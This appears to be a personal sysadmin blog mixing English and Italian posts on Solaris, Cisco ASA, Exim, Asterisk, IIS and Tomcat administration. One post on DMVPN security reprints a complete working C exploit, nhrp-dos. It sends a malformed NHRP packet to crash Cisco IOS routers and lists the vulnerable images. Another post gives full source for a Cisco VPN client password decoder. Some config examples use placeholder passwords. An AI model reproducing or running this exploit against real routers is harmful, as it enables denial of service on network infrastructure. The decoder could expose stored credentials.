Graphic Restyle
I’m working on graphic restyle, today the first release!
Leo
Yesterday after 1 year and 2 month uptime, my poor Sun Ultra 10 (Solaris OS10) running into home server room, was crashed..
I’m so sick, here the paste of console recovery procedure:
Type 'go' to resume ok ? 1000000 Stack Underflow ok sync panic[cpu0]/thread=2a100057ca0: sync initiated sched: software trap 0x7f pid=0, pc=0xf0050c7c, sp=0x2a100056e81, tstate=0x8800001401, context=0x0 g1-g7: 104da44, 0, 183f000, 0, 1082400, 5, 2a100057ca0 00000000fffa9d10 unix:sync_handler+138 (fffe5718, 1000000, 1, 1083400, 1, 181500 0) %l0-3: 00000000018621b0 0000000001862000 000000000000017f 0000000001845800 %l4-7: 0000000000000000 000000000183f000 0000000000000009 0000000001810400 00000000fffa9de0 unix:vx_handler+80 (fffe5718, 181dfe8, f0000000, fffe0000, 181e 0f0, f003bda1) %l0-3: 000000000181e0f0 0000000000000000 0000000000000001 0000000000000001 %l4-7: 0000000001810c00 00000000f0000000 0000000001000000 0000000001018998 00000000fffa9e90 unix:callback_handler+20 (fffe5718, 1, 0, 0, 0, 0) %l0-3: 0000000000000016 00000000fffa9741 00000000f004a64c 00000000fffe0000 %l4-7: 0000000000000016 0000000000000000 0000000000000000 000000000180c000 syncing file systems... 3 done dumping to /dev/dsk/c0t0d0s7, offset 107413504, content: kernel 100% done: 15712 pages dumped, compression ratio 2.54, dump succeeded rebooting... Resetting ... Sun Ultra 5/10 UPA/PCI (UltraSPARC-IIi 440MHz), No Keyboard OpenBoot 3.25, 512 MB (50 ns) memory installed, Serial #15184795. Ethernet address 8:0:20:e7:b3:9b, Host ID: 80e7b39b. Rebooting with command: boot Boot device: /pci@1f,0/pci@1,1/ide@3/disk@0,0:a File and args: SunOS Release 5.10 Version Generic_137111-06 64-bit Copyright 1983-2008 Sun Microsystems, Inc. All rights reserved. Use is subject to license terms. Hostname: ultra10 Loading smf(5) service descriptions: 1/1 WARNING: svccfg import /var/svc/manifest/application/database/mysql.xml failed svccfg import warnings. See /var/svc/log/system-manifest-import:default.log . /dev/rdsk/c0t0d0s1 is clean ultra10 console login: root Password: Sep 29 23:02:52 ultra10 login: ROOT LOGIN /dev/console Last login: Tue Sep 29 22:21:42 from 192.168.2.15 Sun Microsystems Inc. SunOS 5.10 Generic January 2005 root@ultra10 ~ #
Sun Ultra10 – Crash/Recovery Read More »
fw01a> enable
Password:
fw01a# configure terminal
fw01a(Config)# interface ethernet1
fw01a(Config-if)# nameif inside
fw01a(Config-if)# ip address 192.168.1.1 255.255.255.0
fw01a(Config-if)# no shutdown
fw01a(Config-if)#
Activate ASDM and enable http server.
fw01a(Config)# asdm image flash:/asdm.bin.
fw01a(Config)# http server enable.
Open a connection for your inside network.
fw01a(Config)# http 192.168.1.0 255.255.255.0 inside
Make sure all your config running properly.
fw01a(Config)# show running http
http server enabled
http 192.168.1.0 255.255.255.0 inside
fw01a(Config)#
Now your Cisco ASA/PIX can be access from your PC, open your web browser then enter this address https://192.168.1.1/admin
Cisco – ASA/PIX enable ASDM Read More »
Some userfull Exim command:
exim -bp | mailq — The mailq is relevant as it gives your the email IDs. |
exim -M emailID | force delivery of one message |
exim -qf | Force another queue run |
exim -qff | Force another queue run and attempt to flush frozen messages |
exim -Mvl messageID | View Log for message |
exim -Mvb messageID | View Body for message |
exim -Mvh messageID | View Header for message |
exim -Mrm messageID | ReMove message (no errors sent) |
exim -Mg messageID | Give up and fail message, message bounces to sender |
Just in one line meno:
# watch -n 5 'exim -bp | exiqsumm |grep TOTAL'
Watch – Exim Queue Read More »
I’m working on experimental wide lab network based on DMVPN/NBMA, with some friends, dynamic multipoing vpn is seem a great solution, looks like a cheap frame relay infrastructure over internet.
Now the problem: what about security?
especially in dynamical wan ip address envivorment durin spoke-spoke communication, is impossible define security rule on GRE level.
Solution:
I’m thinking about…
Only for testing purpose, I find this exploit:
[codesyntax lang="c"]
/******************************************************************************/
/* */
/* nhrp-dos - Copyright by Martin Kluge, <mk@elxsi.de> */
/* */
/* Feel free to modify this code as you like, as long as you include the */
/* above copyright statement. */
/* */
/* Please use this code only to check your OWN cisco routers. */
/* */
/* Cisco bug ID: CSCin95836 */
/* */
/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used */
/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA) */
/* subnetwork to determine the internetworking layer address and NBMA */
/* subnetwork addresses of the NBMA next hop towards the destination. */
/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */
/* IPSEC. */
/* */
/* URLs: */
/* - [RFC2332/NHRP] http://rfc.net/rfc2332.html */
/* - [RFC1701/GRE] http://rfc.net/rfc1701.html */
/* - [DMVPNs with Cisco] http://www.cisco.com/en/US/tech/tk583/tk372/techno */
/* logies_white_paper09186a008018983e.shtml */
/* */
/* This code was only tested on FreeBSD and Linux, no warranty is or will be */
/* provided. */
/* */
/* Vulnerable images (tested): */
/* */
/* - c7100-jk9o3s-mz.123-12e.bin */
/* - c7200-jk8o3s-mz.122-40.bin */
/* - c3640-js-mz.122-15.T17.bin */
/* (and many other IOS versions on different platforms) */
/* */
/* Vulnerable configuration on cisco IOS: */
/* */
/* interface Tunnel0 */
/* ip address 10.0.0.1 255.255.255.128 */
/* no ip redirects */
/* no ip proxy-arp */
/* ip mtu 1464 */
/* ip nhrp authentication mysecret */
/* ip nhrp network-id 1000 */
/* ip nhrp map multicast dynamic */
/* ip nhrp server-only */
/* ip nhrp holdtime 30 */
/* tunnel source FastEthernet0/0 */
/* tunnel mode gre multipoint */
/* tunnel key 123456789 */
/* */
/* This exploit works even if "ip nhrp authentication" is configured on the */
/* cisco router. You can also specify a GRE key (use 0 to disable this */
/* feature) if the GRE tunnel is protected. You don't need to know the */
/* NHRP network id (or any other configuration details, except the GRE key if */
/* it is set on the target router). */
/* */
/* NOTE: The exploit only seems to work, if a NHRP session between the target */
/* router and at least one client is established. */
/* */
/* Code injection is also possible (thanks to sky for pointing this out), but */
/* it is not very easy and depends heavily on the IOS version / platform. */
/* */
/* Example: */
/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789 */
/* */
/* Router console output: */
/* */
/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8 */
/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000 */
/* <snip> */
/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03 */
/* Cause 00000024 (Code 0x9): Breakpoint exception */
/* */
/* Writing crashinfo to bootflash:crashinfo_20070321-155011 */
/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) === */
/* */
/* Router reboots or sometimes hangs ;) */
/* */
/* */
/* Workaround: Disable NHRP ;) */
/* */
/* I'd like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help */
/* regarding this issue. */
/* */
/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */
/* xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */
/* and #infiniteVOID */
/* */
/******************************************************************************/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>/* BSD */
#define _BSD/* Header sizes */
#define IP_HDR_SIZE 20
#define GRE_HDR_SIZE 4
#define GRE_KEY_SIZE 4
#define NHRP_HDR_SIZE 62/* Function prototypes */
int open_socket (void);
int close_socket (int);
int send_dos(int, unsigned long, unsigned long, unsigned long);
unsigned long resolve_ip (char *);
unsigned long get_int_ipv4 (char *);/* Globals */
int sockfd;
int nhrp_req_id;/* GRE header */
struct gre_h {
unsigned short flags; /* GRE flags */
unsigned short ptype; /* GRE protocol type */
unsigned int key; /* GRE key */
};/* NHRP header */
struct nhrp_h {
/* NHRP fixed header (20 bytes) */
struct {
unsigned short afn; /* NHRP AFN */
unsigned short proto; /* NHRP protocol type */
unsigned int snap; /* NHRP SNAP */
unsigned short snapE:8; /* NHRP SNAP */
unsigned short hops:8; /* NHRP hop count */
unsigned short length; /* NHRP total length */
unsigned short checksum; /* NHRP checksum */
unsigned short mpoa_ext; /* NHRP MPOA extensions */
unsigned short version:8; /* NHRP version */
unsigned short type:8; /* NHRP type */
unsigned short nbma_addr:8; /* NHRP t/l of NBMA address */
unsigned short nbma_sub:8; /* NHRP t/l of NBMA subaddr */
} fixed;/* NHRP mandatory part */
struct {
unsigned short src_len:8; /* NHRP src protocol length */
unsigned short dst_len:8; /* NHRP dest protocol length */
unsigned short flags; /* NHRP flags */
unsigned int request_id; /* NHRP request ID */
unsigned long client_nbma; /* NHRP client NBMA address */
unsigned long client_nbma_sub; /* NHRP client NBMA subaddr */
unsigned long client_pro_addr; /* NHRP client protocol addr */
} mand;/* NHRP client information entries (CIE) */
union {
struct {
unsigned short code:8; /* NHRP code */
unsigned short pref_len:8; /* NHRP prefix length */
unsigned short reserved; /* NHRP reserved */
unsigned short mtu; /* NHRP MTU */
unsigned short holding_time; /* NHRP holding time */
unsigned short len_client:8; /* NHRP t/l cl addr */
unsigned short len_client_sub:8;/* NHRP t/l cl sub */
unsigned short len_client_pro:8;/* NHRP t/l cl pro */
unsigned short preference:8; /* NHRP preference */
unsigned short ext; /* NHRP extension */
} cie;
};
};/* Main function */
int main (int argc, char **argv) {
/* Check command line */
if(argc != 4) {
fprintf(stderr, "\nnhrp-dos (c) by Martin Kluge <mk@elxsi.de>, 2007\n");
fprintf(stderr, "------------------------------------------------\n");
fprintf(stderr, "Usage: ./nhrp-dos <device> <target> <GRE key>\n");
fprintf(stderr, "(Set GRE key = 0 to disable GRE keys!)\n\n");
exit(EXIT_FAILURE);
}/* Check UID */
if(getuid() != 0 && geteuid() != 0) {
fprintf(stderr, "Error: Please run as root!\n");
exit(EXIT_FAILURE);
}/* Open a socket */
sockfd = open_socket();/* Send DoS packet */
send_dos(sockfd, get_int_ipv4(argv[1]), resolve_ip(argv[2]), atoi(argv[3]));/* Close the socket */
close_socket(sockfd);exit(EXIT_SUCCESS);
}/* Open the socket */
int open_socket (void)
{
int fd;
int one = 1;
void *ptr = &one;/* Open the socket */
fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if(fd < 0) {
fprintf(stderr, "Error: open_socket: Unable to open socket.\n");
exit(EXIT_FAILURE);
}/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */
/* Otherwise it would be done by the kernel. */
if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(one)) < 0) {
fprintf(stderr, "Error: open_socket: setsockopt failed.\n");
exit(EXIT_FAILURE);
}#ifndef _BSD
if(setsockopt(fd, IPPROTO_IP, SO_BROADCAST, ptr, sizeof(one)) < 0) {
fprintf(stderr,"Error: open_socket: setsockopt failed.\n");
exit(EXIT_FAILURE);
}
#endifreturn(fd);
}/* Close the socket */
int close_socket (int fd)
{
return(close(fd));
}/* Resolve the hostname to IP address */
unsigned long resolve_ip (char *host)
{
struct in_addr addr;
struct hostent *host_ent;if((addr.s_addr = inet_addr(host)) == -1) {
if(!(host_ent = gethostbyname(host)))
return(-1);memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}return(addr.s_addr);
}/* Get IPv4 address of DEVICE */
unsigned long get_int_ipv4 (char *device)
{
int tmp_fd;
struct ifreq ifr;
struct sockaddr_in *sin;tmp_fd = socket(PF_INET, SOCK_DGRAM, 0);
if(tmp_fd < 0) {
fprintf(stderr, "Error: get_int_ipv4: socket failed.\n");
exit(EXIT_FAILURE);
}memset(&ifr, 0, sizeof(ifr));
sin = (struct sockaddr_in *) &ifr.ifr_addr;
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));ifr.ifr_addr.sa_family = AF_INET;
if(ioctl(tmp_fd, SIOCGIFADDR, (char *) &ifr) < 0) {
fprintf(stderr, "Error: get_int_ipv4: ioctl failed.\n");
exit(EXIT_FAILURE);
}close(tmp_fd);
return(sin->sin_addr.s_addr);
}/* Send NHRP packet */
int send_dos (int fd, unsigned long src_ip, unsigned long dst_ip,
unsigned long gre_key)
{
struct ip ip_hdr;
struct ip *iphdr;
struct gre_h gre_hdr;
struct nhrp_h nhrp_hdr;
struct sockaddr_in sin;
unsigned int bytes = 0;
int GRE_SIZE = GRE_HDR_SIZE;/* Packet buffer */
unsigned char *buf;if(gre_key!=0)
GRE_SIZE+=GRE_KEY_SIZE;/* Allocate some memory */
buf = malloc(IP_HDR_SIZE+GRE_SIZE+NHRP_HDR_SIZE);if(buf < 0) {
fprintf(stderr, "Error: send_dos: malloc failed.\n");
exit(EXIT_FAILURE);
}/* Increment NHRP request ID */
nhrp_req_id++;/* IPv4 Header */
ip_hdr.ip_v = 4; /* IP version */
ip_hdr.ip_hl = 5; /* IP header length */
ip_hdr.ip_tos = 0x00; /* IP ToS */
ip_hdr.ip_len = htons(IP_HDR_SIZE +
GRE_SIZE +
NHRP_HDR_SIZE
); /* IP total length */
ip_hdr.ip_id = 0; /* IP identification */
ip_hdr.ip_off = 0; /* IP frag offset */
ip_hdr.ip_ttl = 64; /* IP time to live */
ip_hdr.ip_p = IPPROTO_GRE; /* IP protocol */
ip_hdr.ip_sum = 0; /* IP checksum */
ip_hdr.ip_src.s_addr = src_ip; /* IP source */
ip_hdr.ip_dst.s_addr = dst_ip; /* IP destination *//* GRE header */
if(gre_key != 0) {
gre_hdr.flags = htons(0x2000); /* GRE flags */
gre_hdr.key = htonl(gre_key); /* GRE key */
} else {
gre_hdr.flags = 0;
}gre_hdr.ptype = htons(0x2001); /* GRE type (NHRP) */
/* NHRP fixed header */
nhrp_hdr.fixed.afn = htons(0x0001); /* NHRP AFN */
nhrp_hdr.fixed.proto = htons(0x0800); /* NHRP protocol type */
nhrp_hdr.fixed.snap = 0; /* NHRP SNAP */
nhrp_hdr.fixed.snapE = 0; /* NHRP SNAP */
nhrp_hdr.fixed.hops = 0xFF; /* NHRP hop count *//* DoS -> Set length to 0xFFFF */
nhrp_hdr.fixed.length = htons(0xFFFF); /* NHRP length *//* Checksum can be incorrect */
nhrp_hdr.fixed.checksum = 0; /* NHRP checksum */nhrp_hdr.fixed.mpoa_ext = htons(0x0034); /* NHRP MPOA ext */
nhrp_hdr.fixed.version = 1; /* NHRP version */
nhrp_hdr.fixed.type = 3; /* NHRP type */
nhrp_hdr.fixed.nbma_addr= 4; /* NHRP NBMA t/l addr */
nhrp_hdr.fixed.nbma_sub = 0; /* NHRP NBMA t/l sub *//* NHRP mandatory part */
nhrp_hdr.mand.src_len = 4; /* NHRP src proto len */
nhrp_hdr.mand.dst_len = 4; /* NHRP dst proto len */
nhrp_hdr.mand.flags = htons(0x8000); /* NHRP flags */
nhrp_hdr.mand.request_id = htonl(nhrp_req_id); /* NHRP request ID */
nhrp_hdr.mand.client_nbma = src_ip; /* NHRP client addr */
nhrp_hdr.mand.client_nbma_sub = 0; /* NHRP client sub */
nhrp_hdr.mand.client_pro_addr = 0; /* NHRP client proto *//* NHRP client information entries (CIE) */
nhrp_hdr.cie.code = 0; /* NHRP code */
nhrp_hdr.cie.pref_len = 0xFF; /* NHRP prefix len */
nhrp_hdr.cie.reserved = 0x0000; /* NHRP reserved */
nhrp_hdr.cie.mtu = htons(1514); /* NHRP mtu */
nhrp_hdr.cie.holding_time = htons(30); /* NHRP holding time */
nhrp_hdr.cie.len_client = 0; /* NHRP t/l client */
nhrp_hdr.cie.len_client_sub = 0; /* NHRP t/l sub */
nhrp_hdr.cie.len_client_pro = 0; /* NHRP t/l pro */
nhrp_hdr.cie.preference = 0; /* NHRP preference */
nhrp_hdr.cie.ext = htons(0x8003); /* NHRP C/U/Type (ext)*//* Copy the IPv4 header to the buffer */
memcpy(buf, (unsigned char *) &ip_hdr, sizeof(ip_hdr));/* Copy the GRE header to the buffer */
memcpy(buf + IP_HDR_SIZE, (unsigned char *) &gre_hdr, sizeof(gre_hdr));/* Copy the NHRP header to the buffer */
memcpy(buf + IP_HDR_SIZE + GRE_SIZE, (unsigned char *) &nhrp_hdr,
sizeof(nhrp_hdr));/* Fix some BSD bugs */
#ifdef _BSD
iphdr = (struct ip *) buf;
iphdr->ip_len = ntohs(iphdr->ip_len);
iphdr->ip_off = ntohs(iphdr->ip_off);
#endifmemset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr->ip_dst.s_addr;printf("\nnhrp-dos (c) by Martin Kluge <mk@elxsi.de>, 2007\n");
printf("------------------------------------------------\n");
printf("Sending DoS packet...");/* Send the packet */
bytes = sendto(fd, buf, IP_HDR_SIZE + GRE_SIZE + NHRP_HDR_SIZE, 0,
(struct sockaddr *) &sin, sizeof(struct sockaddr));printf("DONE (%d bytes)\n\n", bytes);
/* Free the buffer */
free(buf);/* Return number of bytes */
return(bytes);
}// milw0rm.com [2007-08-09]
[/codesyntax]
Cisco DMVPN/NBMA – Security Read More »
Su connessioni fastweb usando openvpn è in caso di restart dei router di destinazione spesso le sessioni restano appese e non viene ristabilito il tunnel, in teoria questo bug è stato risolto nelle ultime release, per non rischiare 4 righe di script:
#!/bin/bash
if ! ping -c 1 -w 5 "xxx.xxx.xxx.xxx" &>/dev/null ; then
/etc/init.d/openvpn restart
fi
Eseguite ogni 5 minuti come da cron:
*/5 * * * * /root/yeahup
Auto Check – OpenVPN Read More »
Blackberry “Wipe-Handheld” command list:
=> Options menu
=> Security Options
=> General Settings
=> Menu
=> Wipe handheld
=> Enter password (“blackberry” by default or your security password)
BlackBerry – Full Wipe Read More »
/* Decoder for password encoding of Cisco VPN client.
Copyright (C) 2005 Maurice Massar
Thanks to HAL-9000@evilscientists.de for decoding and posting the algorithm!This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/*
Requires libgcrypt version 1.1.90 or newer
Compile with:
gcc -Wall -o cisco-decrypt cisco-decrypt.c $(libgcrypt-config --libs --cflags)
Usage:
./cisco-decrypt DEADBEEF...012345678 424242...7261
*/
#include <stdio.h>
#include <stdlib.h>
#include <gcrypt.h>
#include <errno.h>
int hex2bin_c(unsigned int c)
{
if ((c >= '0')&&(c <= '9'))
return c - '0';
if ((c >= 'A')&&(c <= 'F'))
return c - 'A' + 10;
if ((c >= 'a')&&(c <= 'f'))
return c - 'a' + 10;
return -1;
}
int hex2bin(const char *str, char **bin, int *len)
{
char *p;
int i, l;
if (!bin)
return EINVAL;
for (i = 0; str[i] != '\0'; i++)
if (hex2bin_c(str[i]) == -1)
return EINVAL;
l = i;
if ((l & 1) != 0)
return EINVAL;
l /= 2;
p = malloc(l);
if (p == NULL)
return ENOMEM;
for (i = 0; i < l; i++)
p[i] = hex2bin_c(str[i*2]) << 4 | hex2bin_c(str[i*2+1]);
*bin = p;
if (len)
*len = l;
return 0;
}
int c_decrypt(char *ct, int len, char **resp, char *reslenp)
{
const char *h1 = ct;
const char *h4 = ct + 20;
const char *enc = ct + 40;
char ht[20], h2[20], h3[20], key[24];
const char *iv = h1;
char *res;
gcry_cipher_hd_t ctx;
int reslen;
if (len < 48)
return 0;
len -= 40;
memcpy(ht, h1, 20);
ht[19]++;
gcry_md_hash_buffer(GCRY_MD_SHA1, h2, ht, 20);
ht[19] += 2;
gcry_md_hash_buffer(GCRY_MD_SHA1, h3, ht, 20);
memcpy(key, h2, 20);
memcpy(key+20, h3, 4);
/* who cares about parity anyway? */
gcry_md_hash_buffer(GCRY_MD_SHA1, ht, enc, len);
if (memcmp(h4, ht, 20) != 0)
return -1;
res = malloc(len);
if (res == NULL)
return -1;
gcry_cipher_open(&ctx, GCRY_CIPHER_3DES, GCRY_CIPHER_MODE_CBC, 0);
gcry_cipher_setkey(ctx, key, 24);
gcry_cipher_setiv(ctx, iv, 8);
gcry_cipher_decrypt(ctx, (unsigned char *)res, len, (unsigned char *)enc, len);
gcry_cipher_close(ctx);
reslen = len - res[len-1];
res[reslen] = '\0';
if (resp)
*resp = res;
if (reslenp)
*reslenp = reslen;
return 0;
}
int main(int argc, char *argv[])
{
int i, len, ret = 0;
char *bin, *pw;
gcry_check_version(NULL);
for (i = 1; i < argc; i++) {
ret = hex2bin(argv[i], &bin, &len);
if (ret != 0) {
perror("decoding input");
continue;
}
ret = c_decrypt(bin, len, &pw, NULL);
free(bin);
if (ret != 0) {
perror("decrypting input");
continue;
}
printf("%s\n", pw);
free(pw);
}
exit(ret != 0);
}
Download: cisco-decrypt
Durante una migrazione di datacenter mi è capitato di aver fuori uso la console di un server perchè la risoluzione della scheda video è fuori range del monitor, avendo accesso RDP la soluzione è presto trovata dal registro di sistema nella seguente posizione:
My Computer\HKEY_CURRENT_CONFIG\System\CurrentControlSet\Control\VIDEO
Trovando la stringa “Monitor” si potrebbe cambiare direttamente la risoluzione, ma personalmente ho cancellato tutto il contenuto e riavviato così facendo ha ricreato le configurazione di default.
Windows – Reset resolution from registry Read More »
OpenSSH require different keys depending if you use SSH1 or SSH2 protocol. All keys are generated by “ssh-keygen” commad, that one should be available on your system with the ssh package. Default key lengths are also appropriate (2048 bits for rsa and 1024 bits for dsa)
For SSH1 protocol, you need a rsa1 key generated has follow:
# ssh-keygen -q -f /etc/ssh/ssh_host_key -N '' -t rsa1
For SSH2 protocol, you need two keys, one rsa key and one dsa key generated has follow:
# ssh-keygen -f /etc/ssh/ssh_host_rsa_key -N '' -t rsa
# ssh-keygen -f /etc/ssh/ssh_host_dsa_key -N '' -t dsa
OpenSSH – Generate server key Read More »
If you have tried to setup SSH access on a new ASA, it might not have worked the way you wanted. That is because the RSA keys need to be generated first. To do that:
from configure terminal:
fw01/act(config)# crypto key generate rsaINFO: The name for the keys will be:
Keypair generation process begin. Please wait…
And then configure SSH to be allowed from the inside interface:
fw01/act(config)# ssh (inser your ip) (insert your netmask) outside
Now you can configure AAA and setup your own username.
First, a username needs to be created:
fw01/act(config)# username leonardo password mypassword privilege 15
And then configure AAA:
fw01/act(config)# aaa authentication ssh console LOCAL
Cisco ASA – Enable SSH Read More »
A little fix for arrow keys in Vim, that display A B C D on remote terminal if in the system you don’t wanna declare “TERM” just insert into yout ~/.vimrc the terminal type like this:
set term=xterm
Vim – Fix arrow keys that display A B C D on remote shell Read More »
Optimized Applications for Solaris OS and OpenSparc computing.
Simple and very useful example is “Cool Stack” a web deployment packge include most commonly used free and open source applications, recompiled to deliver a 30 to 200 percent performance improvement over standard binaries compiled with GCC.
Cool Tools for OpenSPARC Read More »
Recentemente ho rifatto i puntamenti di alcune parabole, qui in particolare il grafico dello spettro del satellite Eurobird 9° Est (Ex Hotbird 2 ora riposizionato) facente parte della flotta Eutelsat.
Questo risulta essere un argomento un po’ delicato sopratutto sconsigliato a chi non ha un minimo di dimestichezza con asterisk, dal momento che non mi dilunghero troppo in spiegazioni sul funzionamento ma darò indicazioni essenziali e basta.
Chiunque abbia provato ad usare asterisk su eutelia una volta skypho è sicuramente incappato in qualche problema sia sulla parte di registrazione sia sulla parte di streaming dei flussi rtp, la spiegazione di tutto ciò è abbastanza semplice eutelia appoggia il sistema sip che distribuisce ai cliente utilizzando il Cisco SIP Gateway, lo si può capire velocemente facendo debug. Questa soluzione spesso non è molto propensa a dialogare con asterik in modo standard, pertanto se state usando interfacce GUI o soluzioni embedded potete smettere di leggere perchè la maggior parte delle volte è impossibile uscire dagli schemi imposti.
Ora il problema:
capita che registrando due o più trunk con numerazione in ingresso nonostante la definizione di context diversi per ogni numero, la chiamata diretta a numeri differenti segua sempre la stessa strada anche definendo DID e non facendo Catchall sul trunk/context stesso; questo succede perchè tutto il flusso in arrivo da eutelia viene riconosciuto e inoltrato sul primo trunk che si registra presso il gateway.
Fra le possibili soluzioni ci sarebbe avere un ip pubblico per trunk oppure come letto in giro per la rete modificare la porta da 5060 a 5061 e così via.. Certo sono soluzioni possibili ma per niente pratiche e a volte poco stabili.
La soluzione testata e affidabile usando 4 trunk è la seguente:
-premessa sullo scenario nel mio caso il pbx è nattato utilizzando un ip pubblico statico, ma la stessa soluzione è testata anche su un pbx con ip pubblico in routing senza nat.
-nelle configurazioni i numeri sono oscurati ommettendo le ultime tre cifre con XXX e al posto delle password è inserita la parola “mysecret”
Prima cosa definiamo il trunk e il context principale nel file /etc/asterisk/users.conf qui è importante definire il primo trunk o quello preferito per le chiamate in uscita dato che lo stesso context può essere usato anche per quello.
[eutelia]
type = friend
srvlookup = yes
realm = voip.eutelia.it
username = 0245071XXX
secret = mysecret
fromuser = 0245071XXX
fromdomain=voip.eutelia.it
qualify = yes
insecure = port,invite
host = voip.eutelia.it
context = from-eutelia
nat = yes
canreinvite = no
disallow = all
allow = ulaw
allow = alaw
useragent=Asterisk_Eut
Successivamente definiamo la registrazione dei numeri aggiuntivi nel file /etc/asterisk/sip.conf:
register => 0245071XXX:mysecret@eutelia/0245071XXX
register => 0245072XXX:mysecret@eutelia/0245072XXX
register => 0245073XXX:mysecret@eutelia/0245073XXX
register => 0245074XXX:mysecret@eutelia/0245074XXX
Ora l’ultima fase definiamo dove far andare le chiamate e dove farle uscire, questo nel file /etc/asterisk/extensions.conf
#DID in ingresso dal context di eutelia qui definiamo dove dirottare le chiamate, nel primo esempio vanno ad un gruppo di chiamata, nel secondo ad un voice menu, nel terzo ad un exetension SCCP e infine nel quarto ad un extension SIP
[from-eutelia]
exten => 0245071XXX,1,GoTo(ringroup1,s,1)
exten => 0245072XXX,1,GoTo(voicemenu1,s,1)
exten => 0245073XXX,1,Dial(SCCP/114)
exten => 0245074XXX,1,Dial(SIP/112)
Ora per definire le chiamate in uscita dovete andare nel vostro context principale in cui sono definite le regole per le extension e il dialplan, tipicamente lo riconoscete perché è quello definito nel file user all’interno delle singole extension, nel mi caso di chiama “DialPlan01”
#Questo formato inoltra qualsiasi chiamata preceduta dal condice di impegno della linea “0” sul trunk eutelia ovviamente rimuovenlo prima dell’inoltro:
[DialPlan01]
exten = _0.,1,Dial(SIP/eutelia/${EXTEN:1})
exten => 112,1,dial(SIP/112)
exten => 114,1,dial(SCCP/114)
Ammetto che lo “0” per l’impegno delle linee è una cosa abbastanza antiquata derivata dai vecchi pbx a cui in parte sono ancora affezzionato, è possibile benissimo definirla in questo modo:
exten = _.,1,Dial(SIP/eutelia/${EXTEN})
In modo che tutte le chiamate non locali vengano inoltrate direttemente sul trunk.
Asterisk – Eutelia SIP Read More »
C’è una cosa brutta da sapere e si scopre quando per caso proviamo ad installare un servizio in ascolto sulla porta 80 su windows che ha già attivo per sfortuna nostra IIS, si chiama socket pooling, infatti automaticamente iis decide di essere in ascolto su tutti i socket quindi ogni indirizzo configurato sulla macchina, impedendo l’avvio di qualsiasi altro servizio (es. apache) anche se apparentemente configurato correttamente.
Per ovviare a questo problema ecco come fare:
-Prima di tutto installate i support tools, dove sono? Inserite il cd nella directory \Support\Tools trovate un pacchetto suptools.msi
-Ora potete procedere:
Definizione dello scenario in questo caso un server con windows con i seguenti ip:
xxx.xxx.xxx.xxx (destinato a iis)
yyy.yyy.yyy.yyy (destinato ad altro webserver)
from cmd (support tool shell):
#settiamo l'ip in ascolto di iis
httpcfg set iplisten -i xxx.xxx.xxx.xxx
#eliminiamo l'ascolto di iis su questo ip
httpcfg delete iplisten -i yyy.yyy.yyy.yyy#verifichiamo di non aver fatto errori
httpcfg query iplisten#riavviamo il tutto per rendere effettive le modifiche
net stop http /y
net start w3svc
Nota: queste operazioni sono testate su IIS6 quindi sulle piattaforme Windows 2003 (tutte le versioni) non posso garantire il funzionamento identico su 2008
IIS Socket Pooling Read More »
Breve draft su come installare tomcat su debian, in questo caso lenny, le versioni dei pacchetti potrebbero cambiare ma il risultato finale è quello.
Partiamo installando quello che ci serve:
#apt-get install tomcat5.5 tomcat5.5-admin sun-java5-jdk tomcat5.5-webapps
Attenzione, se l’installazione debian di default sicuramente non trovo il java jdk, è necessario quindi aggiungere il repository non-free, in apt editando in questo modo: /etc/apt/source.list
deb http://your-mirror-url/debian/ lenny main non-free
deb-src http://your-mirror-url/debian/ lenny main non-free
Configurare il sistema per utilizzare java
srv01#update-alternatives --config java
There are 2 alternatives which provide ‘java’.
Selection Alternative
———————————————–
1 /usr/lib/jvm/java-1.5.0-sun/jre/bin/java
*+ 2 /etc/alternatives/kaffe-system/bin/javaPress enter to keep the default[*], or type selection number:
digitiamo 1 per attivare /usr/lib/jvm/java-1.5.0-sun/jre/bin/java
Definiamo il runtime java specifico installato e reso di default nel sistema come da step precendenti, editando il file /etc/default/tomcat5.5 e aggiungendo:
JAVA_HOME=/usr/lib/jvm/java-1.5.0-sun/
Definiamo ora gli utenti per l’interffaccia di gestione editando il file /var/lib/tomcat5.5/conf/tomcat-users.xml e creando una struttura simile:
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="tomcat"/>
<role rolename="role1"/>
<role rolename="standard"/>
<role rolename="manager"/>
<role rolename="admin"/>
<user username="tomcat" password="pwd" roles="tomcat,admin"/>
<user username="both" password="pwd" roles="tomcat,role1"/>
<user username="role1" password="pwd" roles="role1"/>
<user username="leo" password="pwd" fullName="leonardo" roles="standard"/>
<user username="manager" password="pwd" fullName="" roles="manager"/>
</tomcat-users>
In questo caso sono definiti 3 utenti, due principali e uno definito dall’utente (manager, admin, leo)
Fatto questo avviamo tomcat o riavviamolo se già attivo:
srv01#/etc/init.d/tomcat5.5 start o restart
